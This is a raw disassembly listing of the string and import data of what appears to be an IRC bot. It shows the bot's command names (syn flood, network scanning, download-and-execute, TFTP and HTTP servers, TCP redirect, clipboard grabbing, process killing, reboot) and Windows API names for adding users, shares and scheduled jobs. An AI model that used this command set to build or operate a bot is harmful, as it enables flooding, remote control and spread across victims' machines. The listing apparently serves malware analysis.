aAdvscan	db 'advscan',0          ; DATA XREF: sub_4087B3+1D67o
		align 10h
aClone_a	db 'clone.a',0          ; DATA XREF: sub_4087B3+1D40o
		dd 0
aClone_action	db 'clone.action',0     ; DATA XREF: sub_4087B3+1D2Bo
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_4087B3+1D16o
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_4087B3+1D01o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_4087B3+1CECo
		align 4
aPortscan	db 'portscan',0         ; DATA XREF: sub_4087B3+1CD7o
		align 4
aSrv_rd_on	db 'srv.rd.on',0        ; DATA XREF: sub_4087B3+1CC2o
		align 4
aSrv_redirect_o	db 'srv.redirect.on',0  ; DATA XREF: sub_4087B3+1CADo
		align 8
aDownload	db 'download',0         ; DATA XREF: sub_4087B3+1C83o
					; sub_4087B3+1C98o
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_4087B3+1C59o
					; sub_4087B3+1C6Eo
aC_make		db 'c.make',0           ; DATA XREF: sub_4087B3+1C44o
		align 10h
aClone_make	db 'clone.make',0       ; DATA XREF: sub_4087B3+1C2Fo
		align 10h
aMv		db 'mv',0               ; DATA XREF: sub_4087B3+1C08o
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_4087B3+1BF3o
		align 4
aE:					; DATA XREF: sub_4087B3+1BDEo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_4087B3+1BC9o
		dd 0
aUpdate		db 'update',0           ; DATA XREF: sub_4087B3+1B9Fo
					; sub_4087B3+1BB4o
		align 4
aDe		db 'de',0               ; DATA XREF: sub_4087B3+1B8Ao
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_4087B3+1B75o
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_4087B3+1B60o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_4087B3+1B4Bo
					; sub_4087B3+2ED3o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_4087B3+1B36o
		align 8
aClone_part	db 'clone.part',0       ; DATA XREF: sub_4087B3+1B21o
		align 8
aClone_j	db 'clone.j',0          ; DATA XREF: sub_4087B3+1B0Co
		dd 0
aClone_join	db 'clone.join',0       ; DATA XREF: sub_4087B3+1AF7o
		align 10h
		dd 0
aClone_n	db 'clone.n',0          ; DATA XREF: sub_4087B3+1AE2o
		align 10h
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_4087B3+1ACDo
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: sub_4087B3+1AB8o
		dd 0
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_4087B3+1AA3o
		align 4
		dd 0
aClone_r	db 'clone.r',0          ; DATA XREF: sub_4087B3+1A8Eo
		align 8
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_4087B3+1A79o
		align 4
aM_0:					; DATA XREF: sub_4087B3+1A64o
		unicode	0, <m>,0
aMode		db 'mode',0             ; DATA XREF: sub_4087B3+1A4Fo
		align 10h
aCy		db 'cy',0               ; DATA XREF: sub_4087B3+1A3Ao
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_4087B3+1A25o
		align 4
aA_0:					; DATA XREF: sub_4087B3+1A10o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_4087B3+19FBo
		align 4
aPm_0		db 'pm',0               ; DATA XREF: sub_4087B3+19E6o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_4087B3+19D1o
		align 8
aAa		db 'aa',0               ; DATA XREF: sub_4087B3+19BCo
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_4087B3+19A7o
		align 4
aGh		db 'gh',0               ; DATA XREF: sub_4087B3+1980o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_4087B3+196Bo
		align 8
unk_42EFD8	db    2			; DATA XREF: sub_4087B3:loc_40A0E8o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aCommandUnknown	db '   Command unknown.',0
		align 10h
		dd 2 dup(0)
unk_42F008	db    2			; DATA XREF: sub_4087B3:loc_40A0E1o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aNoMessageSpeci	db '   No message specified.',0
		align 4
		dd 2 dup(0)
aSend		db 'send',0             ; DATA XREF: sub_4087B3+18EFo
					; sub_40E59D+5D2o
		align 4
unk_42F044	db    2			; DATA XREF: sub_4087B3:loc_40A098o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aUserListFailed	db '   User list failed.',0
		align 4
		dd 2 dup(0)
unk_42F074	db    2			; DATA XREF: sub_4087B3+18DEo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aUserListComple	db '   User list completed.',0
		align 10h
		dd 2 dup(0)
unk_42F0A8	db    2			; DATA XREF: sub_4087B3:loc_409FFAo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aShareListFaile	db '   Share list failed.',0
		dd 2 dup(0)
unk_42F0D8	db    2			; DATA XREF: sub_4087B3+183Do
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aShareListCompl	db '   Share list completed.',0
		align 4
		dd 2 dup(0)
aShare		db 'share',0            ; DATA XREF: sub_4087B3+17DAo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_4087B3+17A0o
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_4087B3+1786o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_4087B3+176Co
		align 10h
unk_42F130	db    2			; DATA XREF: sub_4087B3:loc_409F12o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aServiceListFai	db '   Service list failed.',0
		align 4
		dd 2 dup(0)
unk_42F164	db    2			; DATA XREF: sub_4087B3+1755o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aServiceListCom	db '   Service list completed.',0
		align 4
		dd 2 dup(0)
aStart		db 'start',0            ; DATA XREF: sub_4087B3+1705o
		align 4
unk_42F1A4	db    2			; DATA XREF: sub_4087B3+16D3o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aFailedToLoadAd	db '   Failed to load advapi32.dll or netapi32.dll.',0
		align 4
		dd 3 dup(0)
dword_42F1F4	dd 74656Eh		; DATA XREF: sub_4087B3+16AFo
unk_42F1F8	db    2			; DATA XREF: sub_4087B3:loc_409E49o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 64h
		db  65h	; e
		db 6Eh,	6Ch, 1Fh
		db  74h	; t
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aNoThreadFound_	db '   No thread found.',0
		align 4
		dd 2 dup(0)
unk_42F22C	db    2			; DATA XREF: sub_4087B3+168Co
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 64h
		db  65h	; e
		db 6Eh,	6Ch, 1Fh
		db  74h	; t
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aServerStopped_	db '   Server stopped. (%d thread(s) stopped.)',0
		dd 3 dup(0)
dword_42F278	dd 66666Fh		; DATA XREF: sub_4087B3+1669o
unk_42F27C	db    2			; DATA XREF: sub_4087B3+15FFo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 64h
		db  65h	; e
		db 6Eh,	6Ch, 1Fh
		db  74h	; t
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aAlreadyRunni_1	db '   Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_4087B3+15E3o
		align 4
aSrv_ident	db 'srv.ident',0        ; DATA XREF: sub_4087B3+15CCo
		align 10h
aRf		db 'rf',0               ; DATA XREF: sub_4087B3+15B7o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_4087B3+15A2o
		align 10h
aMirc		db 'mirc',0             ; DATA XREF: sub_4087B3+158Do
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_4087B3+1578o
		dd 0
aV:					; DATA XREF: sub_4087B3+1563o
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_4087B3+154Eo
		align 10h
aDel		db 'del',0              ; DATA XREF: sub_4087B3+1539o
aDelete		db 'delete',0           ; DATA XREF: sub_4087B3+1524o
					; sub_4087B3+17BDo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_4087B3+150Fo
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_4087B3+14FAo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_4087B3+14E5o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_4087B3+14D0o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_4087B3+14BBo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_4087B3+14A6o
aIrc_news	db 'irc.news',0         ; DATA XREF: sub_4087B3+1491o
		align 4
aNewserver	db 'newserver',0        ; DATA XREF: sub_4087B3+147Co
		align 4
aO:					; DATA XREF: sub_4087B3+1467o
		unicode	0, <o>,0
aPr		db 'pr',0               ; DATA XREF: sub_4087B3+143Do
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_4087B3+1428o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_4087B3+1413o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_4087B3+13FEo
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_4087B3+13E9o
		align 10h
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_4087B3+13D4o
		align 10h
aK:					; DATA XREF: sub_4087B3+13BFo
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_4087B3+13AAo
		align 10h
		dd 0
aRaw		db 'raw',0              ; DATA XREF: sub_4087B3+1380o
aPt		db 'pt',0               ; DATA XREF: sub_4087B3+136Bo
		align 4
aPart_0		db 'part',0             ; DATA XREF: sub_4087B3+1356o
		align 4
aJ:					; DATA XREF: sub_4087B3+1341o
		unicode	0, <j>,0
aJoin		db 'join',0             ; DATA XREF: sub_4087B3+132Co
		align 10h
aN:					; DATA XREF: sub_4087B3+1317o
		unicode	0, <n>,0
aNick_0		db 'nick',0             ; DATA XREF: sub_4087B3+1302o
		align 4
aScan_a		db 'scan.a',0           ; DATA XREF: sub_4087B3+12DBo
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_4087B3+12C6o
		align 10h
aSrv_tftp_on	db 'srv.tftp.on',0      ; DATA XREF: sub_4087B3+12B1o
		align 10h
aSrv_tftpserver	db 'srv.tftpserver.on',0 ; DATA XREF: sub_4087B3+129Co
		align 8
aWeb_on		db 'web.on',0           ; DATA XREF: sub_4087B3+1287o
		align 10h
aHttpd_on	db 'httpd.on',0         ; DATA XREF: sub_4087B3+1272o
		align 4
aScan_cip	db 'scan.cip',0         ; DATA XREF: sub_4087B3+125Do
		align 4
aScan_currentip	db 'scan.currentip',0   ; DATA XREF: sub_4087B3+1248o
		align 4
		dd 0
aFdns		db 'fdns',0             ; DATA XREF: sub_4087B3+1233o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_4087B3+121Eo
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_4087B3+1209o
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_4087B3+11F4o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_4087B3+11DFo
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_4087B3+11CAo
		dd 0
unk_42F464	db    2			; DATA XREF: sub_4087B3+11BFo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aLoginListCompl	db '   Login list complete.',0
		align 10h
		dd 2 dup(0)
aD_S		db '%d. %s',0           ; DATA XREF: sub_4087B3+118Bo
					; sub_414D07+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_4087B3+117Eo
		dd 0
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_4087B3+115Co
		align 10h
aWho		db 'who',0              ; DATA XREF: sub_4087B3+1143o
aDll		db 'dll',0              ; DATA XREF: sub_4087B3+112Eo
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_4087B3+1119o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_4087B3+1104o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_4087B3+10EFo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_4087B3+10DAo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_4087B3+10C5o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_4087B3+10B0o
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_4087B3+109Bo
		align 4
aRm		db 'rm',0               ; DATA XREF: sub_4087B3+1086o
		align 10h
aRemove		db 'remove',0           ; DATA XREF: sub_4087B3+1071o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_4087B3+105Co
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_4087B3+1047o
		align 8
aNi		db 'ni',0               ; DATA XREF: sub_4087B3+1032o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_4087B3+101Do
		align 8
aClg		db 'clg',0              ; DATA XREF: sub_4087B3+1008o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_4087B3+FF3o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_4087B3+FDEo
		align 4
aLog		db 'log',0              ; DATA XREF: sub_4087B3+FC9o
aAl		db 'al',0               ; DATA XREF: sub_4087B3+FB4o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_4087B3+F9Fo
		align 10h
aT:					; DATA XREF: sub_4087B3+F8Ao
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_4087B3+F75o
		align 10h
unk_42F560	db    2			; DATA XREF: sub_4087B3+F41o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aFailedToReboot	db '   Failed to reboot system.',0
		align 10h
		dd 2 dup(0)
unk_42F598	db    2			; DATA XREF: sub_4087B3+F3Ao
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aRebootingSyste	db '   Rebooting system.',0
		align 10h
		dd 2 dup(0)
aReboot		db 'reboot',0           ; DATA XREF: sub_4087B3+F23o
		align 10h
aI_0:					; DATA XREF: sub_4087B3+F0Eo
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_4087B3+EF9o
		align 4
aS_6:					; DATA XREF: sub_4087B3+EE4o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_4087B3+ECFo
		align 4
aQ:					; DATA XREF: sub_4087B3+EBAo
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_4087B3+EA5o
		align 10h
aD_0:					; DATA XREF: sub_4087B3+E90o
		unicode	0, <d>,0
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_4087B3+E7Bo
		align 10h
		dd 0
aR:					; DATA XREF: sub_4087B3+E66o
					; sub_4087B3+1395o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_4087B3+E51o
		align 4
aScan_sts	db 'scan.sts',0         ; DATA XREF: sub_4087B3+E3Co
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_4087B3+E27o
		align 4
dword_42F62C	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+E1Co
		dd 2 dup(0)
aVuln		db 'Vuln',0             ; DATA XREF: sub_4087B3+E17o
		align 10h
aScan_stop	db 'scan.stop',0        ; DATA XREF: sub_4087B3+DFEo
		align 4
dword_42F65C	dd 20025B02h, 6573202Dh, 1F727563h, 2D201F65h, 25D0220h
					; DATA XREF: sub_4087B3+DF3o
		dd 0BB20h, 0
aSecure_0	db 'Secure',0           ; DATA XREF: sub_4087B3+DEEo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_4087B3+DD5o
		align 10h
aProcsoff	db 'procsoff',0         ; DATA XREF: sub_4087B3+DC0o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_4087B3+DABo
		align 4
dword_42F6A8	dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+DA0o
		dd 2 dup(0)
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_4087B3+D82o
		align 10h
dword_42F6D0	dd 20025B02h, 7973202Dh, 201F6E1Fh, 5D02202Dh, 0BB2002h
					; DATA XREF: sub_4087B3+D77o
		dd 0
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_4087B3+D72o
		align 4
aSynstop	db 'synstop',0          ; DATA XREF: sub_4087B3+D59o
		align 10h
dword_42F700	dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h
					; DATA XREF: sub_4087B3+D51o
		dd 0BB20025Dh, 2 dup(0)
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_4087B3+D4Co
		align 10h
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_4087B3+D33o
		align 10h
dword_42F740	dd 20025B02h, 6F6C202Dh, 201F671Fh, 5D02202Dh, 0BB2002h
					; DATA XREF: sub_4087B3+D2Bo
		dd 0
aLogList	db 'Log list',0         ; DATA XREF: sub_4087B3+D26o
		align 4
aLogstop	db 'logstop',0          ; DATA XREF: sub_4087B3+D0Do
		align 10h
dword_42F770	dd 74026802h, 641F7074h, 2E2E1Fh, 0 ; DATA XREF: sub_4087B3+CEBo
aServer_0	db 'Server',0           ; DATA XREF: sub_4087B3+CE6o
					; sub_4087B3+D9Bo
		align 4
aHttpdstop	db 'httpdstop',0        ; DATA XREF: sub_4087B3+CCDo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_4087B3+CB8o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_4087B3+CA3o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_4087B3+C8Eo
					; sub_4087B3+4635o
aSecure		db 'secure',0           ; DATA XREF: sub_4087B3+C79o
					; sub_4087B3+4624o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_4087B3+C64o
aVersion	db 'version',0          ; DATA XREF: sub_4087B3+C4Fo
		dd 0
aG0t		db 'g0t',0              ; DATA XREF: sub_4087B3+C3Ao
aLogout		db 'logout',0           ; DATA XREF: sub_4087B3+C25o
		align 10h
aDn0		db 'dn0',0              ; DATA XREF: sub_4087B3+C10o
aDien0w		db 'dien0w',0           ; DATA XREF: sub_4087B3+BFBo
		align 4
aRn		db 'rn',0               ; DATA XREF: sub_4087B3+BE6o
		align 10h
aRndnick_0	db 'rndnick',0          ; DATA XREF: sub_4087B3+BD1o
		dd 0
a63		db '63',0               ; DATA XREF: sub_4087B3+ABCo
		align 10h
asc_42F7F0:				; DATA XREF: sub_4087B3+A9Do
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_4087B3+A66o
		align 4
aServer		db '$server',0          ; DATA XREF: sub_4087B3+A5Bo
		align 8
aRndnick	db '$rndnick',0         ; DATA XREF: sub_4087B3+A4Ao
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_4087B3+A31o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_4087B3+A20o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_4087B3+A0Eo
aD_1		db '$%d',0              ; DATA XREF: sub_4087B3+9A6o
aD		db '$%d-',0             ; DATA XREF: sub_4087B3+8FAo
		align 4
dword_42F834	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_4087B3+892o
		dd 0A0Dh, 0
dword_42F850	dd 4E495001h, 47h	; DATA XREF: sub_4087B3+85Eo
dword_42F858	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_4087B3+853o
		dd 0D017325h, 0Ah, 0
dword_42F878	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_4087B3+822o
aLogin		db 'login',0            ; DATA XREF: sub_4087B3+6DDo
					; sub_4087B3+6F2o
		align 4
a332		db '332',0              ; DATA XREF: sub_4087B3+64Eo
					; sub_4087B3+714o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_4087B3+62Co
					; sub_40E4DC+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_4087B3+620o
					; sub_40E4DC+16o
		dd 0
unk_42F8A4	db    2			; DATA XREF: sub_4087B3+5CFo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aUserSLoggedOut	db '   User: %s logged out.',0
		align 10h
		dd 2 dup(0)
unk_42F8D8	db    2			; DATA XREF: sub_4087B3+5A8o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aJoinedChanne_0	db '   Joined channel: %s.',0
		align 4
		dd 2 dup(0)
dword_42F90C	dd 333533h		; DATA XREF: sub_4087B3+571o
aPart		db 'PART',0             ; DATA XREF: sub_4087B3+523o
					; sub_4087B3+5ECo
		align 4
aSS_3		db ':%s%s',0            ; DATA XREF: sub_4087B3+4FBo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_4087B3+3CDo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+36Eo
					; sub_4087B3+610o
		dd 0
unk_42F93C	db    2			; DATA XREF: sub_4087B3+355o
					; sub_4087B3+478Bo ...
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aUserSLoggedO_0	db '   User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_4087B3+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_4087B3+28Do
					; sub_4087B3+3986o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_4087B3+265o
a@:					; DATA XREF: sub_4087B3+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_4087B3+22Ao
a005		db '005',0              ; DATA XREF: sub_4087B3+215o
a001		db '001',0              ; DATA XREF: sub_4087B3+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+1E4o
					; sub_4087B3+3B4o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_4087B3+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_4087B3+1A9o
		align 4
asc_42F9BC:				; DATA XREF: sub_4087B3+19Ao
					; sub_4087B3+4896o
		unicode	0, <!>,0
asc_42F9C0	db ' :',0               ; DATA XREF: sub_4087B3+86o
					; sub_4087B3:loc_40904Fo
		align 4
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40E4DC+58o
		dd 0
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40E59D+C50o
		align 10h
		dd 0
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40E59D+C48o
		align 10h
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40E59D:loc_40F1D8o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40E59D+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40E59D+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40E59D+BCCo
		align 10h
		dd 0
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40E59D+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40E59D+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40E59D+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40E59D:loc_40F13Ao
		align 8
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40E59D+B68o
		align 4
		dd 0
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40E59D+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40E59D:loc_40F0F0o
		dd 0
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40E59D+B0Eo
		align 8
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40E59D+B01o
		align 10h
		dd 0
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40E59D+AF4o
		dd 0
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40E59D+AECo
		dd 0
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40E59D:loc_40F07Co
		align 10h
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40E59D+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40E59D+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40E59D:loc_40F032o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40E59D+A60o
		align 8
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40E59D+A58o
		align 10h
		dd 0
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40E59D:loc_40EFE8o
		align 10h
		dd 0
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40E59D+9CEo
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40E59D+9C1o
		align 10h
		dd 0
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40E59D+9B4o
		dd 0
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40E59D+9A7o
		align 10h
		dd 0
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40E59D+99Ao
		align 10h
		dd 0
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40E59D+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40E59D+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40E59D+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40E59D+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40E59D+959o
		align 10h
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40E59D+951o
		align 10h
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40E59D:loc_40EEDDo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40E59D+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40E59D+8F6o
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40E59D+8EEo
		align 8
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40E59D:loc_40EE7Eo
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40E59D+8B4o
		align 10h
		dd 0
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40E59D+842o
		dd 0
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40E59D+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40E59D+828o
		align 8
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40E59D+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40E59D+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40E59D+801o
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40E59D+7F4o
